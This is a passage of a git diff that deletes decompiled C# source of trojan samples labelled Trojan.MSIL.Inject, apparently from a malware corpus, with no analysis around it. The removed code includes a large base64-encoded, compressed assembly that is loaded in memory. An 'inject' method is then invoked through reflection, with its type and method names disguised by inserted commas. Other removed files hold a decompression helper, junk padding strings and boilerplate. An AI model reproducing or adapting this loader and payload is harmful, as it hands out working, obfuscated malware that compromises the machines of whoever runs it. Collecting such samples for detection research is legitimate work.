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6opJGMk66vzr4sPo6h0xhMHK2N1H9sqSzsqmyYePVX82SsnAyULKtsQHANMeSLrKYvr+qshqymLW3TDqicraiTr43RPKLq7qzm+IJspJKsiqym6yx3n62fhJOvLSCgLc2DQixOLz/KjK98rt1hkKSarS6snKyppqrnZC8eA+iOrIWkmGKMmzwCrJw+5KyLHPSWrL90XqwHbHdMpRmftxKpnKoMgLpwr2yrbixcDJAMUK14ei7srKft06owPzWPigJsomwCycRG7FrYGmxhw2SRhSvlQUFw/lm+uo2hN622QbuoJwffrTgq9wfXDHhEfKydjpBr1EHe99RMr473zybmoBsHzw2bT+02/6/3bnf4qC9Dze/R7svZND280qBMrxvkqG6sXA0wTJWcrkx2HKQtRqXTrKk8rk92bq5PZJfspyytHxdOLEyt6qnf+NRHnKycFGyermSmXcH4mFCskFAOFKQuLKB4rF2MkaavJqxgrdsz9FRMrJaspbysDmySHP1qHqz7hTnxgKFsqUuAlr+D5S3CZqnIGKBYLDusoofYrVyWZjNL3KxeDK7v7K9trjCMJK3lAJLPU8dPrQQXTKSsn4ybrq8krJ4sn6yrdKxd7JusqzCvXKOvKK4uwKiUYKyox6/KbIacrC6tqKLELFAMEJWEr6Y3qJGFN43JzSRwT600rJzs9pmtvKwuzSzKHHqs3GyiPICtrtSorM/0rdyYrHys3oh0jJqPtAFNQQesTKylHCq8RxCgLI6v7K+fIKwv7iioL6ycrITvTK2N0d+gewykG6ymbIKsrMuv9KymrKVHrEyspByhGfEor80scRygLkGJ1Gisbix+jJLkcwpfBKcorIxtsuSq7uyq7gx4BGyCzKEZKuOsU44yAFddzWw0EKMorI9sfp94U3Y8f6ymLu6IE3SXbKluecsvRUM0rAishMygk6yKr6ck8qyqLC3ur2ecrBitxriWnKgsrByshiymLK0JqMj7rCdPrMikiq6pScoQrKWGqb93xqwHbHctVwThZq61zdwQOBSspF7YNTrVPYiRh8ign2/srrl2qTw7lC3+ROB4kmymLvOWLIwPIxURvmQmJwle+3AUryekl6yuFJg4raqomqwspYSrbi+UrqytmJ3xk6y9nACsDSynnKQsrRwWGJgz9myGrG2x9KHqrPllLfWoMKyh/q9kL3zsRF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"))); - Assembly.Load(rawAssembly).GetType("W,,,,i,n,,,,,,,,,,d,,,ow,,,s,,,,,A,p,,,pl,,i,,,,c,,,,,at,,io,,,,n,,,2,,,,.m,,,od,,,u,l,,,e,1,,,".Replace(",", "")).GetMethod(",,,,i,,,,,n,,,,j,,,,e,c,t,,".Replace(",", "")).Invoke((object) null, new object[1] - { - (object) new ArrayList() { (object) numArray } - }); - object obj; - return obj; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/sakiajfwefjwa.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/sakiajfwefjwa.cs deleted file mode 100644 index 3399efe9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/sakiajfwefjwa.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: sakiajfwefjwa -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; -using System.IO; -using System.IO.Compression; - -[StandardModule] -internal sealed class sakiajfwefjwa -{ - public static byte[] ÈÈÉ(byte[] ÂÄÀ) - { - MemoryStream memoryStream1 = new MemoryStream(ÂÄÀ); - MemoryStream memoryStream2 = new MemoryStream(); - DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] numArray = new byte[1024]; - while (true) - { - int count = deflateStream.Read(numArray, 0, 1024); - if (count != 0) - memoryStream2.Write(numArray, 0, count); - else - break; - } - deflateStream.Close(); - memoryStream2.Close(); - return memoryStream2.ToArray(); - } - - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/AssemblyInfo.cs deleted file mode 100644 index a7c5c8a7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/AssemblyInfo.cs +++ /dev/null @@ -1,7 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("YrxIxldYENOZMCu")] -[assembly: AssemblyFileVersion("3.3.8.9")] -[assembly: AssemblyTrademark("bnXCyRpFrPJpjuD")] -[assembly: AssemblyProduct("sIvfEDxxiiPKtUM")] -[assembly: AssemblyVersion("3.3.8.9")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyApplication.cs deleted file mode 100644 index 488f26a4..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyComputer.cs deleted file mode 100644 index 52ff6c85..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyProject.cs deleted file mode 100644 index 8a442de4..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - 